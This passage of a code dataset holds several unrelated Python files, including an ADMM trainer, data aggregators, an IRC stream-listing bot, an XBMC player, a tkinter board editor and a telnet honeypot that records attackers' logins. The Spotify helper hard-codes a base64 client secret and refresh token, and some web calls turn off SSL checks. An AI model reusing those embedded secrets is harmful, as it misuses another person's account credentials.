inventoryDict\n\ndisplayInventory(stuff)\nstuff = addToInventory(stuff, dragonLoot)\ndisplayInventory(stuff)","sub_path":"ch5/fantasyGameInventory.py","file_name":"fantasyGameInventory.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"488026083","text":"import numpy as np\nimport glob\nimport sys\nimport os.path\n\nfolder = input(\"Please enter the folder in which the data are stored: \") #input folder from the command line\n\n\n#merging different txt.files into one: merge_file.txt\n##################################################\nnew_t_1 = 0 #constant important for the first loop in the code\nt_merged_data = [] #array which is later filled with data in the loop\nt_extra = [] #array which is later filled with data in the loop\n\nmerge = open(\"merge_file.txt\", \"w+\") #creates merge file in which the data is merged\n\nif os.path.exists(folder) == True: #checks if the given folder exists\n for text in glob.glob(folder + \"/*.txt\"): #loop over all the data files (loop goes through files in alphabetic order)\n\n fin = open(text, \"r\") #opens each data to cache it\n t_data = np.genfromtxt(text, usecols=(0), unpack=True) #get timestamps from textfile\n new_t_2 = t_data - t_data[0] #convert stamps to seconds, which then start from 0\n t_merged_data = np.append(t_merged_data, [new_t_2 + new_t_1]) #array with all the times with will be plotted\n\n new_t_1 += t_data[-1]-t_data[0] #closes time gap between the files\n data = fin.read()\n fin.close()\n fout = open(\"merge_file.txt\", \"a\") # opens the merge_file to save the data in it\n fout.write(\"#----------- data file: \" + text +\" --------------\\n\") #creates notification at the start of each file\n fout.write(data) #writes the cached data in it\n fout.close()\nelse:\n print('Folder not found') #Stops the program if the folder does not exist\n exit()\n","sub_path":"Programm/merging_data.py","file_name":"merging_data.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"602663590","text":"import time\r\n\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn.functional as F\r\nfrom torch import distributed as dist\r\nimport torch.nn\r\n#from utils.print_utils import progress_bar\r\n\r\n\r\nclass Average(object):\r\n\r\n def __init__(self):\r\n self.sum = 0\r\n self.count = 0\r\n\r\n def __str__(self):\r\n return '{:.6f}'.format(self.average)\r\n\r\n @property\r\n def average(self):\r\n return self.sum / self.count\r\n\r\n def update(self, value, number):\r\n self.sum += value * number\r\n self.count += number\r\n\r\n\r\nclass Accuracy(object):\r\n\r\n def __init__(self):\r\n self.correct = 0\r\n self.count = 0\r\n\r\n def __str__(self):\r\n return '{:.2f}%'.format(self.accuracy * 100)\r\n\r\n @property\r\n def accuracy(self):\r\n return self.correct / self.count\r\n\r\n def update(self, output, target):\r\n with torch.no_grad():\r\n pred = output.argmax(dim=1)\r\n correct = pred.eq(target).sum().item()\r\n\r\n self.correct += correct\r\n self.count += output.size(0)\r\n\r\n\r\ndef check_stop(ep_abs, ep_rel, r, s, n, p, w, z, u, rho):\r\n e_pri = (n*p)**(0.5) * ep_abs + ep_rel * (max(np.sum(w**2),np.sum(n*z**2)))**(0.5)\r\n e_dual = (p)**(0.5) * ep_abs + ep_rel * rho * (np.sum(u**2))**(0.5)/(n)**(0.5)\r\n print(\"r^2 = {}, s^2 = {}, e_pri = {}, e_dual = {}\".\r\n format(np.sum(r**2), e_pri, np.sum(s**2), e_dual))\r\n stop = (np.sum(r**2) <= e_pri**2) & (np.sum(s**2) <= e_dual**2)\r\n return(stop)\r\n\r\n\r\nclass ADMMTrainer(object):\r\n\r\n def __init__(self, model, optimizer, criterion,\r\n train_loader, test_loader, lam, rho,\r\n device=torch.device(\"cpu\")):\r\n self.model = model\r\n self.optimizer = optimizer\r\n self.criterion = criterion\r\n self.train_loader = train_loader\r\n self.test_loader = test_loader\r\n self.device = device\r\n self.train_start = time.time()\r\n self.z, self.u = self.initialize_z_and_u(model.linear.weight.data.size())\r\n self.lam = lam\r\n self.rho = rho\r\n print(\"size of z = {}\".format(self.z.shape))\r\n print(\"size of u = {}\".format(self.u.shape))\r\n\r\n def initialize_z_and_u(self, shape):\r\n z = np.random.rand(shape[0], shape[1]).astype(np.float32)\r\n u = np.random.rand(shape[0], shape[1]).astype(np.float32)\r\n return z, u\r\n\r\n def update_z_u(self, w, z, u, rho, n, lam_0):\r\n z_new = w + u\r\n z_tem = abs(z_new) - lam_0 / float(n * rho)\r\n z_new = np.sign(z_new) * z_tem * (z_tem > 0)\r\n\r\n s = z_new - z\r\n r = w - np.ones(w.shape[0] * w.shape[1]).astype(np.float).reshape(w.shape) * z_new\r\n u_new = u + r\r\n return z_new, s, r, s\r\n\r\n def update_z(self, w, u, rho, n, lam_0):\r\n z_new = w + u\r\n z_tem = abs(z_new) - lam_0 / float(n * rho)\r\n z_new = np.sign(z_new) * z_tem * (z_tem > 0)\r\n return z_new\r\n\r\n def synchronize(self):\r\n size = float(dist.get_world_size())\r\n np_rand = np.random.uniform(0, 1)\r\n is_sync = 1 if np_rand > 0.5 else 0\r\n is_sync_tensor = torch.tensor([is_sync])\r\n dist.all_reduce(is_sync_tensor, op=dist.ReduceOp.SUM)\r\n sync_size = is_sync_tensor.item()\r\n print(\"sync rand = {}, sync = {}, syn size = {}\".format(np_rand, True if is_sync == 1 else False, sync_size))\r\n for param in self.model.parameters():\r\n sync_tensor = param.grad.data.clone() if is_sync == 1 else torch.zeros_like(param.grad.data)\r\n dist.all_reduce(sync_tensor, op=dist.ReduceOp.SUM)\r\n if is_sync == 1 and sync_size >= 1:\r\n param.grad.data = sync_tensor / sync_size\r\n\r\n def fit(self, admm_epochs, epochs, is_dist=True):\r\n total_sync_time = 0\r\n np.random.seed(dist.get_rank())\r\n for admm_epoch in range(1, admm_epochs + 1):\r\n for epoch in range(1, epochs + 1):\r\n train_loss, train_acc = self.train(epoch, is_dist)\r\n test_loss, test_acc = self.evaluate()\r\n print(\r\n 'ADMM Epoch: {}/{},'.format(admm_epoch, admm_epochs),\r\n 'time: {} s'.format(time.time() - self.train_start),\r\n 'Epoch: {}/{},'.format(epoch, epochs),\r\n 'train loss: {}, train acc: {},'.format(train_loss, train_acc),\r\n 'test loss: {}, test acc: {}.'.format(test_loss, test_acc),\r\n )\r\n sync_start = time.time()\r\n if is_dist:\r\n self.synchronize()\r\n self.optimizer.step()\r\n\r\n sync_time = time.time() - sync_start\r\n total_sync_time += sync_time\r\n\r\n test_loss, test_acc = self.evaluate()\r\n print(\r\n 'ADMM Epoch {}/{} finishes,'.format(admm_epoch, admm_epochs),\r\n 'time: {} s'.format(time.time() - self.train_start),\r\n 'train loss: {}, train acc: {},'.format(train_loss, train_acc),\r\n 'test loss: {}, test acc: {}.'.format(test_loss, test_acc),\r\n )\r\n\r\n def train(self, epoch, is_dist=True):\r\n self.model.train()\r\n\r\n epoch_start = time.time()\r\n epoch_loss = 0\r\n num_batch = 0\r\n\r\n train_loss = Average()\r\n train_acc = Accuracy()\r\n\r\n for batch_idx, (data, target) in enumerate(self.train_loader):\r\n batch_start = time.time()\r\n\r\n data = data.float().to(self.device)\r\n target = target.to(self.device)\r\n\r\n # Forward + Backward + Optimize\r\n self.optimizer.zero_grad()\r\n output = self.model(data)\r\n classify_loss = self.criterion(output, target)\r\n epoch_loss += classify_loss.data\r\n u_z = torch.from_numpy(self.u).float() - torch.from_numpy(self.z).float()\r\n loss = classify_loss\r\n for name, param in self.model.named_parameters():\r\n if name.split('.')[-1] == \"weight\":\r\n loss += self.rho / 2.0 * torch.norm(param + u_z, p=2)\r\n # loss = classify_loss + rho / 2.0 * torch.norm(torch.sum(model.linear.weight, u_z))\r\n self.optimizer.zero_grad()\r\n loss.backward(retain_graph=True)\r\n self.optimizer.step()\r\n\r\n num_batch += 1\r\n\r\n train_loss.update(loss.item(), data.size(0))\r\n train_acc.update(output, target)\r\n\r\n batch_time = time.time() - batch_start\r\n\r\n #progress_bar(batch_idx, len(self.train_loader), 'Loss: {} | Acc: {}'.format(train_loss, train_acc))\r\n\r\n epoch_time = time.time() - epoch_start\r\n\r\n return train_loss, train_acc\r\n\r\n def evaluate(self):\r\n self.model.eval()\r\n\r\n test_loss = Average()\r\n test_acc = Accuracy()\r\n\r\n with torch.no_grad():\r\n for data, target in self.test_loader:\r\n data = data.to(self.device)\r\n target = target.to(self.device)\r\n\r\n output = self.model(data)\r\n\r\n loss = self.criterion(output, target)\r\n\r\n test_loss.update(loss.item(), data.size(0))\r\n test_acc.update(output, target)\r\n\r\n return test_loss, test_acc\r\n\r\n\r\nprint(np.random.uniform(0, 1))\r\nprint(np.random.uniform(0, 1))\r\nprint(np.random.uniform(0, 1))\r\n","sub_path":"archived/ec2/admm_trainer_fl.py","file_name":"admm_trainer_fl.py","file_ext":"py","file_size_in_byte":7319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"390375890","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 23 23:36:40 2016\n\n@author: connor\n\neurusd_aggregate.py\n--reads multiple csv files and writes EURUSD 1M historical data to backtest and monte carlo files \n\"\"\"\nimport csv\n\n \ndef main():\n #filenames to be read\n read_files = ['eurusd_2014.csv',\n 'eurusd_2015.csv']\n #backtest data file\n with open('EURUSD_data_backtest.csv', 'w') as writefile:\n writer = csv.writer(writefile)\n #open readfiles and write their contents to writefile\n for filename in read_files: \n with open(('eurusd_1M/'+filename), 'r') as readfile:\n reader = csv.reader(readfile)\n for row in reader:\n writer.writerow(row)\n \n #Monte Carlo data file\n read_files = ['eurusd_201601.csv', \n 'eurusd_201602.csv', \n 'eurusd_201603.csv', \n 'eurusd_201604.csv', \n 'eurusd_201605.csv', \n 'eurusd_201606.csv']\n \n with open('EURUSD_data_MC.csv', 'w') as writefile:\n writer = csv.writer(writefile)\n for filename in read_files:\n with open(('eurusd_1M/'+filename), 'r') as readfile:\n reader = csv.reader(readfile)\n for row in reader:\n writer.writerow(row)\n print('Complete')\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"EURUSD_data_aggregator.py","file_name":"EURUSD_data_aggregator.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"214206448","text":"import sys\n\nimport numpy as np\nMOD = 10 ** 9 + 7\ndef cumprod(a, p):\n l = len(a); sql = int(np.sqrt(l) + 1)\n a = np.resize(a, sql ** 2).reshape(sql, sql)\n for i in range(sql - 1): a[:, i+1] *= a[:, i]; a[:, i+1] %= p\n for i in range(sql - 1): a[i+1] *= a[i, -1]; a[i+1] %= p\n return np.ravel(a)[:l]\n\ndef make_tables(n=10 ** 9, r=5 * 10 ** 6, p=MOD):\n fac = np.arange(r + 1); fac[0] = 1; fac = cumprod(fac, p)\n ifac = np.arange(r + 1, 0, -1); ifac[0] = pow(int(fac[-1]), p - 2, p)\n ifac = cumprod(ifac, p)[n::-1]\n n_choose = np.arange(n + 1, n - r, -1); n_choose[0] = 1;\n n_choose[1:] = cumprod(n_choose[1:], p) * ifac[1:r+1] % p\n return fac, ifac, n_choose\n\nfac, ifac, n_choose = make_tables(r=10**5)\n\ndef choose(n, r, p=MOD):\n if r > n or r < 0: return 0\n return fac[n] * ifac[r] % p * ifac[n-r] % p\n\nn, k, *a = map(int, sys.stdin.read().split())\na.sort()\n\ndef main():\n res = 0\n for i in range(n):\n res += choose(i, k - 1) * a[i] % MOD\n res -= choose(n - i - 1, k - 1) * a[i] % MOD\n res %= MOD\n print(res)\n \nif __name__ == '__main__':\n main()","sub_path":"Python_codes/p02804/s651057189.py","file_name":"s651057189.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"551785016","text":"import willie, sys, json\nfrom os.path import expanduser\n\ndef setup(bot):\n global twitchlist\n with open(\"{0}/.willie/conf-module/streams.json\".format(expanduser(\"~\"))) as f: # loads streams.json from USER_HOME/.willie/conf-module/\n twitchlist = json.load(f)\n\ndef lookup_twitch():\n global twitchlist\n twitchers = []\n for twitcher in twitchlist[\"streamlist\"]:\n twitchers.append(twitcher)\n twitchers = \",\".join(twitchers)\n try:\n js = willie.web.get(\"https://api.twitch.tv/kraken/streams?channel=%s\" % twitchers, timeout=10, verify_ssl=False)\n return json.loads(js)\n except:# whatever web.get throws and possible valueerror from json.loads\n return None\n\ndef lookup_hitbox(team=\"speedfriends\"):\n try:\n js = willie.web.get(\"https://api.hitbox.tv/team/%s?liveonly=true&media=true&fast=true\"% team, timeout=10, verify_ssl=False)\n return json.loads(js)\n except:# same thing here\n return None\n\n@willie.module.commands(\"streams\")\n@willie.module.thread(True)\ndef streams(bot, trigger):\n tw = lookup_twitch()\n hb = lookup_hitbox()\n\n msgs = []\n msg = \"\"\n c = 0\n\n if hb is not None:\n streams = hb[\"media\"][\"livestream\"]\n for stream in streams:\n msg += \"\\x0313https://hitbox.tv/%s\\x03 %s \\x0313|\\x03 \" % (stream[\"media_display_name\"].lower(), stream[\"media_status\"])\n c += 1\n if c % 4 is 0:\n msgs.append(msg)\n msg = \"\"\n\n if tw is not None:\n streams = tw[\"streams\"]\n for stream in streams:\n if len(stream[\"channel\"][\"status\"]) < 2 and stream[\"game\"]:\n description = stream[\"game\"]\n else:\n description = stream[\"channel\"][\"status\"].rstrip(\"\\n\")\n msg += \"\\x037http://twitch.tv/%s\\x03 %s \\x033|\\x03 \" % (stream[\"channel\"][\"name\"], description)\n c += 1\n if c % 4 is 0:\n msgs.append(msg)\n msg = \"\"\n\n if msg:# add the remaining streams\n msgs.append(msg)\n\n if not msgs:\n bot.reply(\"No streams found, try again later\")\n return\n for msg in msgs:\n bot.say(msg[:-3])# cut the last 3 characters which are normally used as dividers\n","sub_path":"modules/streams.py","file_name":"streams.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"328662215","text":"import requests\nimport ast\n\nclient_id = '981dc6ad047c4181939c93822c050513'\n\nbase_encoded = 'OTgxZGM2YWQwNDdjNDE4MTkzOWM5MzgyMmMwNTA1MTM6ODFjZmRlOWRlMGUwNDBjMjhlYmQyYWNjZTM2NGE3OGQ='\n\ntoken_url = \"https://accounts.spotify.com/api/token\"\n\ndef refresh_token():\n\tpayload = \"grant_type=refresh_token&refresh_token=AQDMhEggFfm06w--YnbavsH3YHhFSG-VSGS-zP1w8T4AR1ja_eBDTXO2TNFpnOqTgXwqRWhc77BmzNPjaeBA4suNScShAmhy8nSDmYLyt8ph2j2MhwHMoVCcMctg96_bM12zxA\"\t\n\theaders = {\n\t'Authorization': \"Basic \" + base_encoded,\n\t'Content-Type': \"application/x-www-form-urlencoded\",\n\t}\n\n\tresponse = requests.request(\"POST\", token_url, data=payload, headers=headers)\n\tr = ast.literal_eval(response.text)\n\treturn r[\"access_token\"]\n\ndef getTitles(id, token):\n playlist_id = id\n url = 'https://api.spotify.com/v1/playlists/' + playlist_id + '/tracks?fields=items(track(name, album(name, artists)))'\n titles = []\n headers = {\"Authorization\": \"Bearer \" + token}\n r = requests.get(url, headers=headers)\n d = ast.literal_eval(r.text)\n for item in (d[\"items\"]):\n titles.append([str(item[\"track\"][\"name\"]), str(item[\"track\"][\"album\"][\"artists\"][0][\"name\"]), str(item[\"track\"][\"album\"][\"name\"])])\n return titles\n\t\n \n\n\n","sub_path":"spotify_api.py","file_name":"spotify_api.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"541373868","text":"#############################################################################\r\n#\r\n# Navi-X Playlist browser\r\n# by rodejo (rodejo16@gmail.com)\r\n#############################################################################\r\n\r\n#############################################################################\r\n#\r\n# CPlayer:\r\n# Video and audio player class which extends the funcionality of the default\r\n# xbmc player class.\r\n#############################################################################\r\n\r\nfrom string import *\r\nimport sys, os.path\r\nimport urllib\r\nimport urllib2\r\nimport re, random, string\r\nimport xbmc, xbmcgui\r\nimport re, os, time, datetime, traceback\r\nimport shutil\r\nimport zipfile\r\nfrom libs2 import *\r\nfrom settings import *\r\nfrom CURLLoader import *\r\nfrom CFileLoader import *\r\n\r\ntry: Emulating = xbmcgui.Emulating\r\nexcept: Emulating = False\r\n\r\n#####################################################################\r\n# Description: My player class, overrides the XBMC Player\r\n######################################################################\r\nclass CPlayer(xbmc.Player):\r\n def __init__(self, core, function):\r\n self.function=function\r\n self.core=core\r\n self.stopped=False\r\n self.pls = xbmc.PlayList(xbmc.PLAYLIST_VIDEO)\r\n# self.pls.clear()\r\n\r\n xbmc.Player.__init__(self)\r\n\r\n def onPlayBackStarted(self):\r\n self.function(1)\r\n \r\n def onPlayBackEnded(self):\r\n self.stopped=True\r\n self.function(2)\r\n \r\n def onPlayBackStopped(self):\r\n self.stopped=True\r\n self.function(3)\r\n\r\n ######################################################################\r\n # Description: Play the video, audio in the playlist\r\n # Parameters : playlist = the input playlist containing all items\r\n # first = index of first item\r\n # lasts = index of last item\r\n # Return : 0 if succesful, -1 if no audio, video files in list\r\n ###################################################################### \r\n def play(self, playlist, first, last):\r\n self.pls.clear()\r\n\r\n if first == last:\r\n URL = playlist.list[first].URL\r\n xbmc.Player.play(self, URL)\r\n else:\r\n \r\n index = first\r\n urlopener = CURLLoader()\r\n self.stopped=False\r\n while index <= last and self.stopped == False and self.pls.size() < 100: \r\n type = playlist.list[index].type\r\n if type == 'video' or type == 'audio':\r\n URL = playlist.list[index].URL\r\n\r\n result = urlopener.urlopen(URL, playlist.list[index])\r\n if result == 0:\r\n loc_url = urlopener.loc_url\r\n\r\n name = playlist.list[index].name\r\n \r\n if version == '9': \r\n listitem = xbmcgui.ListItem(name)\r\n listitem.setInfo('video', {'Title': name})\r\n self.pls.add(url=loc_url, listitem=listitem) \r\n else:\r\n self.pls.add(loc_url, name)\r\n \r\n if self.pls.size() == 1:\r\n #start playing \r\n xbmc.Player.play(self, self.pls)\r\n index = index + 1\r\n \r\n if self.pls.size() == 0:\r\n #no valid items found\r\n return -1\r\n \r\n return 0\r\n\r\n ######################################################################\r\n ###################################################################### \r\n def play_URL(self, URL, mediaitem=0):\r\n #URL=mediaitem.URL\r\n #check if the URL is empty or not\r\n if URL == '':\r\n return -1\r\n \r\n self.pls.clear() #clear the playlist\r\n \r\n ext = getFileExtension(URL)\r\n if ext == 'pls' or ext == 'm3u':\r\n loader = CFileLoader2() #file loader\r\n loader.load(URL, cacheDir + \"playlist.\" + ext, retries=2)\r\n if loader.state == 0: #success\r\n result = self.pls.load(loader.localfile)\r\n if result == False:\r\n return -1\r\n else:\r\n urlopener = CURLLoader()\r\n result = urlopener.urlopen(URL, mediaitem)\r\n if result != 0:\r\n return -1\r\n self.pls.add(urlopener.loc_url)\r\n\r\n #SetInfoText(\"Loading... \")\r\n\r\n if mediaitem.playpath != '':\r\n self.play_RTMP(mediaitem.URL, mediaitem.playpath, mediaitem.swfplayer, mediaitem.pageurl);\r\n else: \r\n xbmc.Player.play(self, self.pls)\r\n \r\n return 0\r\n\r\n ######################################################################\r\n ###################################################################### \r\n def play_RTMP(self, URL, playpath, swfplayer, pageurl):\r\n #check if the URL is empty or not\r\n if URL == '':\r\n return -1\r\n \r\n self.pls.clear() #clear the playlist\r\n \r\n item=xbmcgui.ListItem('', iconImage='', thumbnailImage='')\r\n if swfplayer != '':\r\n item.setProperty(\"SWFPlayer\", swfplayer)\r\n if playpath != '':\r\n item.setProperty(\"PlayPath\", playpath)\r\n if pageurl != '':\r\n item.setProperty(\"PageURL\", pageurl)\r\n\r\n xbmc.Player(xbmc.PLAYER_CORE_DVDPLAYER).play(URL, item)\r\n \r\n return 0\r\n \r\n","sub_path":"UK/plugin.video.navi-x/src/CPlayer.py","file_name":"CPlayer.py","file_ext":"py","file_size_in_byte":5637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"394809001","text":"import socketserver\nimport threading\nimport _thread\n\nimport hpotter.env\n\nfrom hpotter import tables\nfrom hpotter.env import logger, Session\nfrom hpotter.docker.shell import fake_shell, get_string\n\n# https://docs.python.org/3/library/socketserver.html\nclass TelnetHandler(socketserver.BaseRequestHandler):\n\n def creds(self, prompt):\n logger.debug('Getting creds')\n tries = 0\n response = ''\n while response == '':\n self.request.sendall(prompt)\n\n logger.debug('Before creds get_string')\n response = get_string(self.request, limit=256, telnet=True)\n\n tries += 1\n if tries > 2:\n logger.debug('Creds no response')\n raise IOError('no response')\n\n logger.debug('Creds returning %s', response)\n return response\n\n def handle(self):\n self.request.settimeout(30)\n\n self.session = Session()\n connection = tables.Connections(\n sourceIP=self.client_address[0],\n sourcePort=self.client_address[1],\n destIP=self.server.socket.getsockname()[0],\n destPort=self.server.socket.getsockname()[1],\n proto=tables.TCP)\n self.session.add(connection)\n self.session.commit()\n logger.debug('telnet submitted connection')\n\n try:\n username = self.creds(b'Username: ')\n password = self.creds(b'Password: ')\n except Exception as exception:\n logger.debug(exception)\n Session.remove()\n self.request.close()\n return\n logger.debug('After creds')\n\n creds = tables.Credentials(username=username, password=password, \\\n connection=connection)\n self.session.add(creds)\n self.session.commit()\n logger.debug('telnet submitted creds')\n\n self.request.sendall(b'Last login: Mon Nov 20 12:41:05 2017 from 8.8.8.8\\n')\n\n prompt = b'\\n$: ' if username in ('root', 'admin') else b'\\n#: '\n try:\n fake_shell(self.request, self.session, connection, prompt, \\\n telnet=True)\n except Exception as exc:\n logger.debug(type(exc))\n logger.debug(exc)\n logger.debug('telnet fake_shell threw exception')\n\n Session.remove()\n self.request.close()\n logger.debug('telnet handle finished')\n\nclass TelnetServer(socketserver.ThreadingMixIn, socketserver.TCPServer): pass\n\ndef start_server():\n hpotter.env.telnet_server = TelnetServer(('0.0.0.0', 23), TelnetHandler)\n threading.Thread(target=hpotter.env.telnet_server.serve_forever).start()\n\ndef stop_server():\n if hpotter.env.telnet_server:\n hpotter.env.telnet_server.shutdown()\n","sub_path":"hpotter/plugins/telnet.py","file_name":"telnet.py","file_ext":"py","file_size_in_byte":2736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"588576807","text":"from django.contrib import admin\nfrom .models import Tutorial\n\n# Register your models here.\nclass TutorialAdmin(admin.ModelAdmin):\n\tfieldsets = [\n\t\t('Date', {'fields': ['tutorial_published']}),\n\t\t('Title/Content', {'fields': ['tutorial_title', 'tutorial_content']})\n\t]\n\nadmin.site.register(Tutorial, TutorialAdmin)","sub_path":"main/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"77269921","text":"#!/usr/bin/env python\n# -*- coding: utf8 -*-\n\nimport time\n\nimport tkinter_extensions as tkx\ntk = tkx.tk\ntkc = tkx.tkc\ntkSimpleDialog = tkx.tkSimpleDialog\n\nimport gui_image_opener as imageOpener\n\nimport model_object_catalog as objects\nimport model_background_catalog as backgrounds\n\nimport locales\n_ = locales._\n\n\nclass Board(tk.Canvas):\n\n MODE_EDIT_LEVEL = 'level-editor'\n MODE_EDIT_SOLUTION = 'solution-editor'\n\n TAG_CURSOR = 'cursor'\n TAG_BORDER = 'border'\n TAG_BOARD = 'board'\n\n # cursor settings\n cursorWidth = 2\n cursorColor = 'royal blue'\n cursorFill = 'blue'\n cursorStipple = tkc.STIPPLE_GRAY_25\n\n lastCursorWidth = cursorWidth\n lastCursorColor = 'blue'\n lastCursorFill = lastCursorColor\n lastCursorStipple = tkc.STIPPLE_GRAY_50\n\n virtualCursorWidth = 2\n virtualCursorColor = 'green'\n virtualCursorFill = virtualCursorColor\n virtualCursorStipple = tkc.STIPPLE_GRAY_12\n\n # text settings\n textStipple = tkc.STIPPLE_GRAY_25\n textFill = 'white'\n textColor = 'black'\n \n # do text settings apply to cursors if cursor indices are displayed?\n isTextStippleDominant = True\n isTextFillDominant = True\n isTextColorDominant = True\n\n DEBUG_CURSOR_OFF = 0\n DEBUG_CURSOR_REAL = 1\n DEBUG_CURSOR_LEFT_TO_RIGHT = 2\n DEBUG_CURSOR_RIGHT_TO_LEFT = 3\n DEBUG_CURSOR_TOP_TO_BOTTOM = 4\n DEBUG_CURSOR_BOTTOM_TO_TOP = 5\n\n OBJECT_CODE_OFF = 0\n OBJECT_CODE_NUMBER = 1\n OBJECT_CODE_CHAR = 2\n\n OBJ_CAT = objects.OBJ_START\n OBJ_DOOR_OPEN = 93\n \n\n # ---------- initialization ----------\n \n def __init__(self, master, model):\n tk.Canvas.__init__(self, master,\n width = (model.COLS+2)*imageOpener.FLD_SIZE,\n height = (model.ROWS+2)*imageOpener.FLD_SIZE,\n offset = \"%s,%s\" % (-imageOpener.FLD_SIZE, -imageOpener.FLD_SIZE),\n borderwidth = 0,\n highlightthickness = 1,\n takefocus = True,\n )\n self.model = model\n self._mode = self.MODE_EDIT_LEVEL\n self._last_cmd = None\n self.isEndActive = False\n\n self.setCommandlineBackgroundColor(None)\n self.setCommandlineTextColorNormal('black')\n self.setCommandlineTextColorError('red')\n \n self.canvas = self\n self.canvas.bindToKey = tkx.KeyBinder(self.canvas)\n self.widgetToFocus = self\n self.entry = None\n self.debugCursor = False\n self.viewObjectCode = self.OBJECT_CODE_OFF\n self.onObjectCodeChangeListener = set()\n \n self.drawBorder()\n self.drawBoard()\n self.drawCursor()\n\n model.addOnChangeListener(self.onChangeListener)\n model.solution.addOnStepsChangeListener(self.onSolutionChangeListener)\n model.solution.addOnCursorChangeListener(self.onSolutionChangeListener)\n\n # move cursor\n self.canvas.bind('', lambda e: model.moveCursorRight() if not self.isEndActive else model.moveCursorToRight())\n self.canvas.bind('' , lambda e: model.moveCursorLeft() if not self.isEndActive else model.moveCursorToLeft())\n self.canvas.bind('' , lambda e: model.moveCursorUp() if not self.isEndActive else model.moveCursorToTop())\n self.canvas.bind('' , lambda e: model.moveCursorDown() if not self.isEndActive else model.moveCursorToBottom())\n \n self.canvas.bind('', lambda e: model.newCursorBegin())\n self.canvas.bind('', lambda e: model.newCursorApply())\n self.canvas.bind('', lambda e: model.newCursorBegin())\n self.canvas.bind('', lambda e: model.newCursorApply())\n self.canvas.bind('', lambda e: model.newCursorRight() if not self.isEndActive else model.newCursorToRight())\n self.canvas.bind('' , lambda e: model.newCursorLeft() if not self.isEndActive else model.newCursorToLeft())\n self.canvas.bind('' , lambda e: model.newCursorAbove() if not self.isEndActive else model.newCursorToTop())\n self.canvas.bind('' , lambda e: model.newCursorBelow() if not self.isEndActive else model.newCursorToBottom())\n\n self.canvas.bind('', lambda e: model.addOrRemoveCursorRight() if not self.isEndActive else model.addCursorsTowardsRight())\n self.canvas.bind('' , lambda e: model.addOrRemoveCursorLeft() if not self.isEndActive else model.addCursorsTowardsLeft())\n self.canvas.bind('' , lambda e: model.addOrRemoveCursorAbove() if not self.isEndActive else model.addCursorsTowardsTop())\n self.canvas.bind('' , lambda e: model.addOrRemoveCursorBelow() if not self.isEndActive else model.addCursorsTowardsBottom())\n\n self.canvas.bind('', lambda e: model.addOrRemoveCursorsRight() if not self.isEndActive else model.addCursorAreaTowardsRight())\n self.canvas.bind('' , lambda e: model.addOrRemoveCursorsLeft() if not self.isEndActive else model.addCursorAreaTowardsLeft())\n self.canvas.bind('' , lambda e: model.addOrRemoveCursorsAbove() if not self.isEndActive else model.addCursorAreaTowardsTop())\n self.canvas.bind('' , lambda e: model.addOrRemoveCursorsBelow() if not self.isEndActive else model.addCursorAreaTowardsBottom())\n \n self.canvas.bind('' , lambda e: model.removeLastCursor())\n self.canvas.bind('' , lambda e: model.moveCursorToCenter())\n self.canvas.bind('', self.onEndPress)\n \n self.canvas.bind('', self.onClick)\n self.canvas.bind('', lambda e: model.newCursorCancel() or model.selectLast() or model.selectNone())\n self.canvas.bind('', lambda e: model.newCursorCancel() or model.selectFirst() or model.selectNone())\n self.canvas.bind('' , lambda e: model.selectAll())\n\n self.canvas.bindToKey('F1' , lambda key: self.setViewObjectCode(self.OBJECT_CODE_CHAR), lambda key: self.setViewObjectCode(self.OBJECT_CODE_OFF))\n self.canvas.bindToKey('F2' , lambda key: self.setViewObjectCode(self.OBJECT_CODE_NUMBER), lambda key: self.setViewObjectCode(self.OBJECT_CODE_OFF))\n self.canvas.bind('' , lambda e: self.toggleDebugCursor(self.DEBUG_CURSOR_REAL))\n self.canvas.bind('' , lambda e: self.toggleDebugCursor(self.DEBUG_CURSOR_LEFT_TO_RIGHT))\n self.canvas.bind('' , lambda e: self.toggleDebugCursor(self.DEBUG_CURSOR_TOP_TO_BOTTOM))\n self.canvas.bind('' , lambda e: self.toggleDebugCursor(self.DEBUG_CURSOR_RIGHT_TO_LEFT))\n self.canvas.bind('' , lambda e: self.toggleDebugCursor(self.DEBUG_CURSOR_BOTTOM_TO_TOP))\n\n # edit board\n self.canvas.bind('' , lambda e: model.setFieldAtCursor(model.FLD_EMPTY))\n self.canvas.bind('' , lambda e: self.enterNewObject())\n self.canvas.bind('' , self.onKeyListener)\n \n self.canvas.bind('', lambda e: model.swapFieldRight() if not self.isEndActive else model.swapFieldToRight())\n self.canvas.bind('', lambda e: model.swapFieldLeft() if not self.isEndActive else model.swapFieldToLeft())\n self.canvas.bind('', lambda e: model.swapFieldUp() if not self.isEndActive else model.swapFieldToTop())\n self.canvas.bind('', lambda e: model.swapFieldDown() if not self.isEndActive else model.swapFieldToBottom())\n\n self.canvas.bind('', lambda e: model.moveFieldRight() if not self.isEndActive else model.moveFieldToRight())\n self.canvas.bind('', lambda e: model.moveFieldLeft() if not self.isEndActive else model.moveFieldToLeft())\n self.canvas.bind('', lambda e: model.moveFieldUp() if not self.isEndActive else model.moveFieldToTop())\n self.canvas.bind('', lambda e: model.moveFieldDown() if not self.isEndActive else model.moveFieldToBottom())\n\n self.canvas.bind('' , 